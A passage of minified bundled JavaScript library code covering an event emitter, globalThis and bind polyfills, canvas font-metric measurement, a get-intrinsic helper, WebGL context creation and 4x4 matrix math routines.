this.target.removeListener(this.type,this.wrapFn),this.fired=!0,arguments.length===0?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function f(i,v,T){var w={fired:!1,wrapFn:void 0,target:i,type:v,listener:T},E=r.bind(w);return E.listener=T,w.wrapFn=E,E}L.prototype.once=function(v,T){return d(T),this.on(v,f(this,v,T)),this},L.prototype.prependOnceListener=function(v,T){return d(T),this.prependListener(v,f(this,v,T)),this},L.prototype.removeListener=function(v,T){var w,E,p,A,m;if(d(T),E=this._events,E===void 0)return this;if(w=E[v],w===void 0)return this;if(w===T||w.listener===T)--this._eventsCount===0?this._events=Object.create(null):(delete E[v],E.removeListener&&this.emit("removeListener",v,w.listener||T));else if(typeof w!="function"){for(p=-1,A=w.length-1;A>=0;A--)if(w[A]===T||w[A].listener===T){m=w[A].listener,p=A;break}if(p<0)return this;p===0?w.shift():s(w,p),w.length===1&&(E[v]=w[0]),E.removeListener!==void 0&&this.emit("removeListener",v,m||T)}return this},L.prototype.off=L.prototype.removeListener,L.prototype.removeAllListeners=function(v){var T,w,E;if(w=this._events,w===void 0)return this;if(w.removeListener===void 0)return arguments.length===0?(this._events=Object.create(null),this._eventsCount=0):w[v]!==void 0&&(--this._eventsCount===0?this._events=Object.create(null):delete w[v]),this;if(arguments.length===0){var p=Object.keys(w),A;for(E=0;E<p.length;++E)A=p[E],A!=="removeListener"&&this.removeAllListeners(A);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if(T=w[v],typeof T=="function")this.removeListener(v,T);else if(T!==void 0)for(E=T.length-1;E>=0;E--)this.removeListener(v,T[E]);return this};function a(i,v,T){var w=i._events;if(w===void 0)return[];var E=w[v];return E===void 0?[]:typeof E=="function"?T?[E.listener||E]:[E]:T?y(E):u(E,E.length)}L.prototype.listeners=function(v){return a(this,v,!0)},L.prototype.rawListeners=function(v){return a(this,v,!1)},L.listenerCount=function(i,v){return typeof i.listenerCount=="function"?i.listenerCount(v):l.call(i,v)},L.prototype.listenerCount=l;function l(i){var v=this._events;if(v!==void 0){var T=v[i];if(typeof T=="function")return 1;if(T!==void 0)return T.length}return 0}L.prototype.eventNames=function(){return this._eventsCount>0?M(this._events):[]};function u(i,v){for(var T=new Array(v),w=0;w<v;++w)T[w]=i[w];return T}function s(i,v){for(;v+1<i.length;v++)i[v]=i[v+1];i.pop()}function y(i){for(var v=new Array(i.length),T=0;T<v.length;++T)v[T]=i[T].listener||i[T];return v}function c(i,v){return new Promise(function(T,w){function E(A){i.removeListener(v,p),w(A)}function p(){typeof i.removeListener=="function"&&i.removeListener("error",E),T([].slice.call(arguments))}h(i,v,p,{once:!0}),v!=="error"&&b(i,E,{once:!0})})}function b(i,v,T){typeof i.on=="function"&&h(i,"error",v,T)}function h(i,v,T,w){if(typeof i.on=="function")w.once?i.once(v,T):i.on(v,T);else if(typeof i.addEventListener=="function")i.addEventListener(v,function E(p){w.once&&i.removeEventListener(v,E),T(p)});else throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof i)}},60774:function(te){var Z=function(){if(typeof self=="object"&&self)return self;if(typeof window=="object"&&window)return window;throw new Error("Unable to resolve global `this`")};te.exports=function(){if(this)return this;try{Object.defineProperty(Object.prototype,"__global__",{get:function(){return this},configurable:!0})}catch{return Z()}try{return __global__||Z()}finally{delete Object.prototype.__global__}}()},94908:function(te,Z,e){te.exports=e(51152)()?globalThis:e(60774)},51152:function(te){te.exports=function(){return typeof globalThis!="object"||!globalThis?!1:globalThis.Array===Array}},92770:function(te,Z,e){var M=e(18546);te.exports=function(P){var o=typeof P;if(o==="string"){var L=P;if(P=+P,P===0&&M(L))return!1}else if(o!=="number")return!1;return P-P<1}},30120:function(te,Z,e){var M=e(90660);te.exports=P;function P(o,L,S){if(!o)throw new TypeError("must specify data as first parameter");if(S=+(S||0)|0,Array.isArray(o)&&o[0]&&typeof o[0][0]=="number"){var d=o[0].length,g=o.length*d,t,r,f,a;(!L||typeof L=="string")&&(L=new(M(L||"float32"))(g+S));var l=L.length-S;if(g!==l)throw new Error("source length "+g+" ("+d+"x"+o.length+") does not match destination length "+l);for(t=0,f=S;t<o.length;t++)for(r=0;r<d;r++)L[f++]=o[t][r]===null?NaN:o[t][r]}else if(!L||typeof L=="string"){var u=M(L||"float32");if(Array.isArray(o)||L==="array")for(L=new u(o.length+S),t=0,f=S,a=L.length;f<a;f++,t++)L[f]=o[t]===null?NaN:o[t];else S===0?L=new u(o):(L=new u(o.length+S),L.set(o,S))}else L.set(o,S);return L}},68016:function(te,Z,e){var M=e(53313),P=[32,126];te.exports=o;function o(L){L=L||{};var S=L.shape?L.shape:L.canvas?[L.canvas.width,L.canvas.height]:[512,512],d=L.canvas||document.createElement("canvas"),g=L.font,t=typeof L.step=="number"?[L.step,L.step]:L.step||[32,32],r=L.chars||P;if(g&&typeof g!="string"&&(g=M(g)),!Array.isArray(r))r=String(r).split("");else if(r.length===2&&typeof r[0]=="number"&&typeof r[1]=="number"){for(var f=[],a=r[0],l=0;a<=r[1];a++)f[l++]=String.fromCharCode(a);r=f}S=S.slice(),d.width=S[0],d.height=S[1];var u=d.getContext("2d");u.fillStyle="#000",u.fillRect(0,0,d.width,d.height),u.font=g,u.textAlign="center",u.textBaseline="middle",u.fillStyle="#fff";for(var s=t[0]/2,y=t[1]/2,a=0;a<r.length;a++)u.fillText(r[a],s,y),(s+=t[0])>S[0]-t[0]/2&&(s=t[0]/2,y+=t[1]);return d}},32879:function(te){te.exports=Z,Z.canvas=document.createElement("canvas"),Z.cache={};function Z(r,L){L||(L={}),(typeof r=="string"||Array.isArray(r))&&(L.family=r);var S=Array.isArray(L.family)?L.family.join(", "):L.family;if(!S)throw Error("`family` must be defined");var d=L.size||L.fontSize||L.em||48,g=L.weight||L.fontWeight||"",t=L.style||L.fontStyle||"",r=[t,g,d].join(" ")+"px "+S,f=L.origin||"top";if(Z.cache[S]&&d<=Z.cache[S].em)return e(Z.cache[S],f);var a=L.canvas||Z.canvas,l=a.getContext("2d"),u={upper:L.upper!==void 0?L.upper:"H",lower:L.lower!==void 0?L.lower:"x",descent:L.descent!==void 0?L.descent:"p",ascent:L.ascent!==void 0?L.ascent:"h",tittle:L.tittle!==void 0?L.tittle:"i",overshoot:L.overshoot!==void 0?L.overshoot:"O"},s=Math.ceil(d*1.5);a.height=s,a.width=s*.5,l.font=r;var y="H",c={top:0};l.clearRect(0,0,s,s),l.textBaseline="top",l.fillStyle="black",l.fillText(y,0,0);var b=M(l.getImageData(0,0,s,s));l.clearRect(0,0,s,s),l.textBaseline="bottom",l.fillText(y,0,s);var h=M(l.getImageData(0,0,s,s));c.lineHeight=c.bottom=s-h+b,l.clearRect(0,0,s,s),l.textBaseline="alphabetic",l.fillText(y,0,s);var i=M(l.getImageData(0,0,s,s)),v=s-i-1+b;c.baseline=c.alphabetic=v,l.clearRect(0,0,s,s),l.textBaseline="middle",l.fillText(y,0,s*.5);var T=M(l.getImageData(0,0,s,s));c.median=c.middle=s-T-1+b-s*.5,l.clearRect(0,0,s,s),l.textBaseline="hanging",l.fillText(y,0,s*.5);var w=M(l.getImageData(0,0,s,s));c.hanging=s-w-1+b-s*.5,l.clearRect(0,0,s,s),l.textBaseline="ideographic",l.fillText(y,0,s);var E=M(l.getImageData(0,0,s,s));if(c.ideographic=s-E-1+b,u.upper&&(l.clearRect(0,0,s,s),l.textBaseline="top",l.fillText(u.upper,0,0),c.upper=M(l.getImageData(0,0,s,s)),c.capHeight=c.baseline-c.upper),u.lower&&(l.clearRect(0,0,s,s),l.textBaseline="top",l.fillText(u.lower,0,0),c.lower=M(l.getImageData(0,0,s,s)),c.xHeight=c.baseline-c.lower),u.tittle&&(l.clearRect(0,0,s,s),l.textBaseline="top",l.fillText(u.tittle,0,0),c.tittle=M(l.getImageData(0,0,s,s))),u.ascent&&(l.clearRect(0,0,s,s),l.textBaseline="top",l.fillText(u.ascent,0,0),c.ascent=M(l.getImageData(0,0,s,s))),u.descent&&(l.clearRect(0,0,s,s),l.textBaseline="top",l.fillText(u.descent,0,0),c.descent=P(l.getImageData(0,0,s,s))),u.overshoot){l.clearRect(0,0,s,s),l.textBaseline="top",l.fillText(u.overshoot,0,0);var p=P(l.getImageData(0,0,s,s));c.overshoot=p-v}for(var A in c)c[A]/=d;return c.em=d,Z.cache[S]=c,e(c,f)}function e(o,L){var S={};typeof L=="string"&&(L=o[L]);for(var d in o)d!=="em"&&(S[d]=o[d]-L);return S}function M(o){for(var L=o.height,S=o.data,d=3;d<S.length;d+=4)if(S[d]!==0)return Math.floor((d-3)*.25/L)}function P(o){for(var L=o.height,S=o.data,d=S.length-1;d>0;d-=4)if(S[d]!==0)return Math.floor((d-3)*.25/L)}},31353:function(te,Z,e){var M=e(85395),P=Object.prototype.toString,o=Object.prototype.hasOwnProperty,L=function(r,f,a){for(var l=0,u=r.length;l<u;l++)o.call(r,l)&&(a==null?f(r[l],l,r):f.call(a,r[l],l,r))},S=function(r,f,a){for(var l=0,u=r.length;l<u;l++)a==null?f(r.charAt(l),l,r):f.call(a,r.charAt(l),l,r)},d=function(r,f,a){for(var l in r)o.call(r,l)&&(a==null?f(r[l],l,r):f.call(a,r[l],l,r))},g=function(r,f,a){if(!M(f))throw new TypeError("iterator must be a function");var l;arguments.length>=3&&(l=a),P.call(r)==="[object Array]"?L(r,f,l):typeof r=="string"?S(r,f,l):d(r,f,l)};te.exports=g},73047:function(te){var Z="Function.prototype.bind called on incompatible ",e=Array.prototype.slice,M=Object.prototype.toString,P="[object Function]";te.exports=function(L){var S=this;if(typeof S!="function"||M.call(S)!==P)throw new TypeError(Z+S);for(var d=e.call(arguments,1),g,t=function(){if(this instanceof g){var u=S.apply(this,d.concat(e.call(arguments)));return Object(u)===u?u:this}else return S.apply(L,d.concat(e.call(arguments)))},r=Math.max(0,S.length-d.length),f=[],a=0;a<r;a++)f.push("$"+a);if(g=Function("binder","return function ("+f.join(",")+"){ return binder.apply(this,arguments); }")(t),S.prototype){var l=function(){};l.prototype=S.prototype,g.prototype=new l,l.prototype=null}return g}},77575:function(te,Z,e){var M=e(73047);te.exports=Function.prototype.bind||M},86249:function(te){te.exports=Z;function Z(e,M){if(typeof e!="string")throw new TypeError("must specify type string");if(M=M||{},typeof document>"u"&&!M.canvas)return null;var P=M.canvas||document.createElement("canvas");typeof M.width=="number"&&(P.width=M.width),typeof M.height=="number"&&(P.height=M.height);var o=M,L;try{var S=[e];e.indexOf("webgl")===0&&S.push("experimental-"+e);for(var d=0;d<S.length;d++)if(L=P.getContext(S[d],o),L)return L}catch{L=null}return L||null}},68318:function(te,Z,e){var M,P=SyntaxError,o=Function,L=TypeError,S=function(C){try{return o('"use strict"; return ('+C+").constructor;")()}catch{}},d=Object.getOwnPropertyDescriptor;if(d)try{d({},"")}catch{d=null}var g=function(){throw new L},t=d?function(){try{return arguments.callee,g}catch{try{return d(arguments,"callee").get}catch{return g}}}():g,r=e(57877)(),f=Object.getPrototypeOf||function(C){return C.__proto__},a={},l=typeof Uint8Array>"u"?M:f(Uint8Array),u={"%AggregateError%":typeof AggregateError>"u"?M:AggregateError,"%Array%":Array,"%ArrayBuffer%":typeof ArrayBuffer>"u"?M:ArrayBuffer,"%ArrayIteratorPrototype%":r?f([][Symbol.iterator]()):M,"%AsyncFromSyncIteratorPrototype%":M,"%AsyncFunction%":a,"%AsyncGenerator%":a,"%AsyncGeneratorFunction%":a,"%AsyncIteratorPrototype%":a,"%Atomics%":typeof Atomics>"u"?M:Atomics,"%BigInt%":typeof BigInt>"u"?M:BigInt,"%BigInt64Array%":typeof BigInt64Array>"u"?M:BigInt64Array,"%BigUint64Array%":typeof BigUint64Array>"u"?M:BigUint64Array,"%Boolean%":Boolean,"%DataView%":typeof DataView>"u"?M:DataView,"%Date%":Date,"%decodeURI%":decodeURI,"%decodeURIComponent%":decodeURIComponent,"%encodeURI%":encodeURI,"%encodeURIComponent%":encodeURIComponent,"%Error%":Error,"%eval%":eval,"%EvalError%":EvalError,"%Float32Array%":typeof Float32Array>"u"?M:Float32Array,"%Float64Array%":typeof Float64Array>"u"?M:Float64Array,"%FinalizationRegistry%":typeof FinalizationRegistry>"u"?M:FinalizationRegistry,"%Function%":o,"%GeneratorFunction%":a,"%Int8Array%":typeof Int8Array>"u"?M:Int8Array,"%Int16Array%":typeof Int16Array>"u"?M:Int16Array,"%Int32Array%":typeof Int32Array>"u"?M:Int32Array,"%isFinite%":isFinite,"%isNaN%":isNaN,"%IteratorPrototype%":r?f(f([][Symbol.iterator]())):M,"%JSON%":typeof JSON=="object"?JSON:M,"%Map%":typeof Map>"u"?M:Map,"%MapIteratorPrototype%":typeof Map>"u"||!r?M:f(new Map()[Symbol.iterator]()),"%Math%":Math,"%Number%":Number,"%Object%":Object,"%parseFloat%":parseFloat,"%parseInt%":parseInt,"%Promise%":typeof Promise>"u"?M:Promise,"%Proxy%":typeof Proxy>"u"?M:Proxy,"%RangeError%":RangeError,"%ReferenceError%":ReferenceError,"%Reflect%":typeof Reflect>"u"?M:Reflect,"%RegExp%":RegExp,"%Set%":typeof Set>"u"?M:Set,"%SetIteratorPrototype%":typeof Set>"u"||!r?M:f(new Set()[Symbol.iterator]()),"%SharedArrayBuffer%":typeof SharedArrayBuffer>"u"?M:SharedArrayBuffer,"%String%":String,"%StringIteratorPrototype%":r?f(""[Symbol.iterator]()):M,"%Symbol%":r?Symbol:M,"%SyntaxError%":P,"%ThrowTypeError%":t,"%TypedArray%":l,"%TypeError%":L,"%Uint8Array%":typeof Uint8Array>"u"?M:Uint8Array,"%Uint8ClampedArray%":typeof Uint8ClampedArray>"u"?M:Uint8ClampedArray,"%Uint16Array%":typeof Uint16Array>"u"?M:Uint16Array,"%Uint32Array%":typeof Uint32Array>"u"?M:Uint32Array,"%URIError%":URIError,"%WeakMap%":typeof WeakMap>"u"?M:WeakMap,"%WeakRef%":typeof WeakRef>"u"?M:WeakRef,"%WeakSet%":typeof WeakSet>"u"?M:WeakSet};try{null.error}catch(C){var s=f(f(C));u["%Error.prototype%"]=s}var y=function C(x){var I;if(x==="%AsyncFunction%")I=S("async function () {}");else if(x==="%GeneratorFunction%")I=S("function* () {}");else if(x==="%AsyncGeneratorFunction%")I=S("async function* () {}");else if(x==="%AsyncGenerator%"){var k=C("%AsyncGeneratorFunction%");k&&(I=k.prototype)}else if(x==="%AsyncIteratorPrototype%"){var B=C("%AsyncGenerator%");B&&(I=f(B.prototype))}return u[x]=I,I},c={"%ArrayBufferPrototype%":["ArrayBuffer","prototype"],"%ArrayPrototype%":["Array","prototype"],"%ArrayProto_entries%":["Array","prototype","entries"],"%ArrayProto_forEach%":["Array","prototype","forEach"],"%ArrayProto_keys%":["Array","prototype","keys"],"%ArrayProto_values%":["Array","prototype","values"],"%AsyncFunctionPrototype%":["AsyncFunction","prototype"],"%AsyncGenerator%":["AsyncGeneratorFunction","prototype"],"%AsyncGeneratorPrototype%":["AsyncGeneratorFunction","prototype","prototype"],"%BooleanPrototype%":["Boolean","prototype"],"%DataViewPrototype%":["DataView","prototype"],"%DatePrototype%":["Date","prototype"],"%ErrorPrototype%":["Error","prototype"],"%EvalErrorPrototype%":["EvalError","prototype"],"%Float32ArrayPrototype%":["Float32Array","prototype"],"%Float64ArrayPrototype%":["Float64Array","prototype"],"%FunctionPrototype%":["Function","prototype"],"%Generator%":["GeneratorFunction","prototype"],"%GeneratorPrototype%":["GeneratorFunction","prototype","prototype"],"%Int8ArrayPrototype%":["Int8Array","prototype"],"%Int16ArrayPrototype%":["Int16Array","prototype"],"%Int32ArrayPrototype%":["Int32Array","prototype"],"%JSONParse%":["JSON","parse"],"%JSONStringify%":["JSON","stringify"],"%MapPrototype%":["Map","prototype"],"%NumberPrototype%":["Number","prototype"],"%ObjectPrototype%":["Object","prototype"],"%ObjProto_toString%":["Object","prototype","toString"],"%ObjProto_valueOf%":["Object","prototype","valueOf"],"%PromisePrototype%":["Promise","prototype"],"%PromiseProto_then%":["Promise","prototype","then"],"%Promise_all%":["Promise","all"],"%Promise_reject%":["Promise","reject"],"%Promise_resolve%":["Promise","resolve"],"%RangeErrorPrototype%":["RangeError","prototype"],"%ReferenceErrorPrototype%":["ReferenceError","prototype"],"%RegExpPrototype%":["RegExp","prototype"],"%SetPrototype%":["Set","prototype"],"%SharedArrayBufferPrototype%":["SharedArrayBuffer","prototype"],"%StringPrototype%":["String","prototype"],"%SymbolPrototype%":["Symbol","prototype"],"%SyntaxErrorPrototype%":["SyntaxError","prototype"],"%TypedArrayPrototype%":["TypedArray","prototype"],"%TypeErrorPrototype%":["TypeError","prototype"],"%Uint8ArrayPrototype%":["Uint8Array","prototype"],"%Uint8ClampedArrayPrototype%":["Uint8ClampedArray","prototype"],"%Uint16ArrayPrototype%":["Uint16Array","prototype"],"%Uint32ArrayPrototype%":["Uint32Array","prototype"],"%URIErrorPrototype%":["URIError","prototype"],"%WeakMapPrototype%":["WeakMap","prototype"],"%WeakSetPrototype%":["WeakSet","prototype"]},b=e(77575),h=e(35065),i=b.call(Function.call,Array.prototype.concat),v=b.call(Function.apply,Array.prototype.splice),T=b.call(Function.call,String.prototype.replace),w=b.call(Function.call,String.prototype.slice),E=b.call(Function.call,RegExp.prototype.exec),p=/[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g,A=/\\(\\)?/g,m=function(x){var I=w(x,0,1),k=w(x,-1);if(I==="%"&&k!=="%")throw new P("invalid intrinsic syntax, expected closing `%`");if(k==="%"&&I!=="%")throw new P("invalid intrinsic syntax, expected opening `%`");var B=[];return T(x,p,function(_,F,O,z){B[B.length]=O?T(z,A,"$1"):F||_}),B},n=function(x,I){var k=x,B;if(h(c,k)&&(B=c[k],k="%"+B[0]+"%"),h(u,k)){var _=u[k];if(_===a&&(_=y(k)),typeof _>"u"&&!I)throw new L("intrinsic "+x+" exists, but is not available. Please file an issue!");return{alias:B,name:k,value:_}}throw new P("intrinsic "+x+" does not exist!")};te.exports=function(x,I){if(typeof x!="string"||x.length===0)throw new L("intrinsic name must be a non-empty string");if(arguments.length>1&&typeof I!="boolean")throw new L('"allowMissing" argument must be a boolean');if(E(/^%?[^%]*%?$/,x)===null)throw new P("`%` may not be present anywhere but at the beginning and end of the intrinsic name");var k=m(x),B=k.length>0?k[0]:"",_=n("%"+B+"%",I),F=_.name,O=_.value,z=!1,N=_.alias;N&&(B=N[0],v(k,i([0,1],N)));for(var G=1,J=!0;G<k.length;G+=1){var q=k[G],ne=w(q,0,1),fe=w(q,-1);if((ne==='"'||ne==="'"||ne==="`"||fe==='"'||fe==="'"||fe==="`")&&ne!==fe)throw new P("property names with quotes must have matching quotes");if((q==="constructor"||!J)&&(z=!0),B+="."+q,F="%"+B+"%",h(u,F))O=u[F];else if(O!=null){if(!(q in O)){if(!I)throw new L("base intrinsic for "+x+" exists, but the property is not available.");return}if(d&&G+1>=k.length){var X=d(O,q);J=!!X,J&&"get"in X&&!("originalValue"in X.get)?O=X.get:O=O[q]}else J=h(O,q),O=O[q];J&&!z&&(u[F]=O)}}return O}},85400:function(te){te.exports=Z;function Z(e,M){var P=M[0],o=M[1],L=M[2],S=M[3],d=M[4],g=M[5],t=M[6],r=M[7],f=M[8],a=M[9],l=M[10],u=M[11],s=M[12],y=M[13],c=M[14],b=M[15];return e[0]=g*(l*b-u*c)-a*(t*b-r*c)+y*(t*u-r*l),e[1]=-(o*(l*b-u*c)-a*(L*b-S*c)+y*(L*u-S*l)),e[2]=o*(t*b-r*c)-g*(L*b-S*c)+y*(L*r-S*t),e[3]=-(o*(t*u-r*l)-g*(L*u-S*l)+a*(L*r-S*t)),e[4]=-(d*(l*b-u*c)-f*(t*b-r*c)+s*(t*u-r*l)),e[5]=P*(l*b-u*c)-f*(L*b-S*c)+s*(L*u-S*l),e[6]=-(P*(t*b-r*c)-d*(L*b-S*c)+s*(L*r-S*t)),e[7]=P*(t*u-r*l)-d*(L*u-S*l)+f*(L*r-S*t),e[8]=d*(a*b-u*y)-f*(g*b-r*y)+s*(g*u-r*a),e[9]=-(P*(a*b-u*y)-f*(o*b-S*y)+s*(o*u-S*a)),e[10]=P*(g*b-r*y)-d*(o*b-S*y)+s*(o*r-S*g),e[11]=-(P*(g*u-r*a)-d*(o*u-S*a)+f*(o*r-S*g)),e[12]=-(d*(a*c-l*y)-f*(g*c-t*y)+s*(g*l-t*a)),e[13]=P*(a*c-l*y)-f*(o*c-L*y)+s*(o*l-L*a),e[14]=-(P*(g*c-t*y)-d*(o*c-L*y)+s*(o*t-L*g)),e[15]=P*(g*l-t*a)-d*(o*l-L*a)+f*(o*t-L*g),e}},42331:function(te){te.exports=Z;function Z(e){var M=new Float32Array(16);return M[0]=e[0],M[1]=e[1],M[2]=e[2],M[3]=e[3],M[4]=e[4],M[5]=e[5],M[6]=e[6],M[7]=e[7],M[8]=e[8],M[9]=e[9],M[10]=e[10],M[11]=e[11],M[12]=e[12],M[13]=e[13],M[14]=e[14],M[15]=e[15],M}},31042:function(te){te.exports=Z;function Z(e,M){return e[0]=M[0],e[1]=M[1],e[2]=M[2],e[3]=M[3],e[4]=M[4],e[5]=M[5],e[6]=M[6],e[7]=M[7],e[8]=M[8],e[9]=M[9],e[10]=M[10],e[11]=M[11],e[12]=M[12],e[13]=M[13],e[14]=M[14],e[15]=M[15],e}},11902:function(te){te.exports=Z;function Z(){var e=new Float32Array(16);return e[0]=1,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=1,e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=1,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e}},89887:function(te){te.exports=Z;function Z(e){var M=e[0],P=e[1],o=e[2],L=e[3],S=e[4],d=e[5],g=e[6],t=e[7],r=e[8],f=e[9],a=e[10],l=e[11],u=e[12],s=e[13],y=e[14],c=e[15],b=M*d-P*S,h=M*g-o*S,i=M*t-L*S,v=P*g-o*d,T=P*t-L*d,w=o*t-L*g,E=r*s-f*u,p=r*y-a*u,A=r*c-l*u,m=f*y-a*s,n=f*c-l*s,C=a*c-l*y;return b*C-h*n+i*m+v*A-T*p+w*E}},27812:function(te){te.exports=Z;function Z(e,M){var P=M[0],o=M[1],L=M[2],S=M[3],d=P+P,g=o+o,t=L+L,r=P*d,f=o*d,a=o*g,l=L*d,u=L*g,s=L*t,y=S*d,c=S*g,b=S*t;return e[0]=1-a-s,e[1]=f+b,e[2]=l-c,e[3]=0,e[4]=f-b,e[5]=1-r-s,e[6]=u+y,e[7]=0,e[8]=l+c,e[9]=u-y,e[10]=1-r-a,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e}},34045:function(te){te.exports=Z;function Z(e,M,P){var o,L,S,d=P[0],g=P[1],t=P[2],r=Math.sqrt(d*d+g*g+t*t);return Math.abs(r)<1e-6?null:(r=1/r,d*=r,g*=r,t*=r,o=Math.sin(M),L=Math.cos(M),S=1-L,e[0]=d*d*S+L,e[1]=g*d*S+t*o,e[2]=t*d*S-g*o,e[3]=0,e[4]=d*g*S-t*o,e[5]=g*g*S+L,e[6]=t*g*S+d*o,e[7]=0,e[8]=d*t*S+g*o,e[9]=g*t*S-d*o,e[10]=t*t*S+L,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e)}},45973:function(te){te.exports=Z;function Z(e,M,P){var o=M[0],L=M[1],S=M[2],d=M[3],g=o+o,t=L+L,r=S+S,f=o*g,a=o*t,l=o*r,u=L*t,s=L*r,y=S*r,c=d*g,b=d*t,h=d*r;return e[0]=1-(u+y),e[1]=a+h,e[2]=l-b,e[3]=0,e[4]=a-h,e[5]=1-(f+y),e[6]=s+c,e[7]=0,e[8]=l+b,e[9]=s-c,e[10]=1-(f+u),e[11]=0,e[12]=P[0],e[13]=P[1],e[14]=P[2],e[15]=1,e}},81472:function(te){te.exports=Z;function Z(e,M){return e[0]=M[0],e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=M[1],e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=M[2],e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e}},14669:function(te){te.exports=Z;function Z(e,M){return e[0]=1,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=1,e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=1,e[11]=0,e[12]=M[0],e[13]=M[1],e[14]=M[2],e[15]=1,e}},75262:function(te){te.exports=Z;function Z(e,M){var P=Math.sin(M),o=Math.cos(M);return e[0]=1,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=o,e[6]=P,e[7]=0,e[8]=0,e[9]=-P,e[10]=o,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e}},331:function(te){te.exports=Z;function Z(e,M){var P=Math.sin(M),o=Math.cos(M);return e[0]=o,e[1]=0,e[2]=-P,e[3]=0,e[4]=0,e[5]=1,e[6]=0,e[7]=0,e[8]=P,e[9]=0,e[10]=o,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e}},11049:function(te){te.exports=Z;function Z(e,M){var P=Math.sin(M),o=Math.cos(M);return e[0]=o,e[1]=P,e[2]=0,e[3]=0,e[4]=-P,e[5]=o,e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=1,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e}},75195:function(te){te.exports=Z;function Z(e,M,P,o,L,S,d){var g=1/(P-M),t=1/(L-o),r=1/(S-d);return e[0]=S*2*g,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=S*2*t,e[6]=0,e[7]=0,e[8]=(P+M)*g,e[9]=(L+o)*t,e[10]=(d+S)*r,e[11]=-1,e[12]=0,e[13]=0,e[14]=d*S*2*r,e[15]=0,e}},71551:function(te){te.exports=Z;function Z(e){return e[0]=1,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=1,e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=1,e[11]=0,e[12]=0,e[13]=0,e[14]=0,e[15]=1,e}},79576:function(te,Z,e){te.exports={create:e(11902),clone:e(42331),copy:e(31042),identity:e(71551),transpose:e(88654),invert:e(95874),adjoint:e(85400),determinant:e(89887),multiply:e(91362),translate:e(31283),scale:e(10789),rotate:e(65074),rotateX:e(35545),rotateY:e(94918),rotateZ:e(15692),fromRotation:e(34045),fromRotationTranslation:e(45973),fromScaling:e(81472),fromTranslation:e(14669),fromXRotation:e(75262),fromYRotation:e(331),fromZRotation:e(11049),fromQuat:e(27812),frustum:e(75195),perspective:e(7864),perspectiveFromFieldOfView:e(35279),ortho:e(60378),lookAt:e(65551),str:e(6726)}},95874:function(te){te.exports=Z;function Z(e,M){var P=M[0],o=M[1],L=M[2],S=M[3],d=M[4],g=M[5],t=M[6],r=M[7],f=M[8],a=M[9],l=M[10],u=M[11],s=M[12],y=M[13],c=M[14],b=M[15],h=P*g-o*d,i=P*t-L*d,v=P*r-S*d,T=o*t-L*g,w=o*r-S*g,E=L*r-S*t,p=f*y-a*s,A=f*c-l*s,m=f*b-u*s,n=a*c-l*y,C=a*b-u*y,x=l*b-u*c,I=h*x-i*C+v*n+T*m-w*A+E*p;return I?(I=1/I,e[0]=(g*x-t*C+r*n)*I,e[1]=(L*C-o*x-S*n)*I,e[2]=(y*E-c*w+b*T)*I,e[3]=(l*w-a*E-u*T)*I,e[4]=(t*m-d*x-r*A)*I,e[5]=(P*x-L*m+S*A)*I,e[6]=(c*v-s*E-b*i)*I,e[7]=(f*E-l*v+u*i)*I,e[8]=(d*C-g*m+r*p)*I,e[9]=(o*m-P*C-S*p)*I,e[10]=(s*w-y*v+b*h)*I,e[11]=(a*v-f*w-u*h)*I,e[12]=(g*A-d*n-t*p)*I,e[13]=(P*n-o*A+L*p)*I,e[14]=(y*i-s*T-c*h)*I,e[15]=(f*T-a*i+l*h)*I,e):null}},65551:function(te,Z,e){var M=e(71551);te.exports=P;function P(o,L,S,d){var g,t,r,f,a,l,u,s,y,c,b=L[0],h=L[1],i=L[2],v=d[0],T=d[1],w=d[2],E=S[0],p=S[1],A=S[2];return Math.abs(b-E)<1e-6&&Math.abs(h-p)<1e-6&&Math.abs(i-A)<1e-6?M(o):(u=b-E,s=h-p,y=i-A,c=1/Math.sqrt(u*u+s*s+y*y),u*=c,s*=c,y*=c,g=T*y-w*s,t=w*u-v*y,r=v*s-T*u,c=Math.sqrt(g*g+t*t+r*r),c?(c=1/c,g*=c,t*=c,r*=c):(g=0,t=0,r=0),f=s*r-y*t,a=y*g-u*r,l=u*t-s*g,c=Math.sqrt(f*f+a*a+l*l),c?(c=1/c,f*=c,a*=c,l*=c):(f=0,a=0,l=0),o[0]=g,o[1]=f,o[2]=u,o[3]=0,o[4]=t,o[5]=a,o[6]=s,o[7]=0,o[8]=r,o[9]=l,o[10]=y,o[11]=0,o[12]=-(g*b+t*h+r*i),o[13]=-(f*b+a*h+l*i),o[14]=-(u*b+s*h+y*i),o[15]=1,o)}},91362:function(te){te.exports=Z;function Z(e,M,P){var o=M[0],L=M[1],S=M[2],d=M[3],g=M[4],t=M[5],r=M[6],f=M[7],a=M[8],l=M[9],u=M[10],s=M[11],y=M[12],c=M[13],b=M[14],h=M[15],i=P[0],v=P[1],T=P[2],w=P[3];return 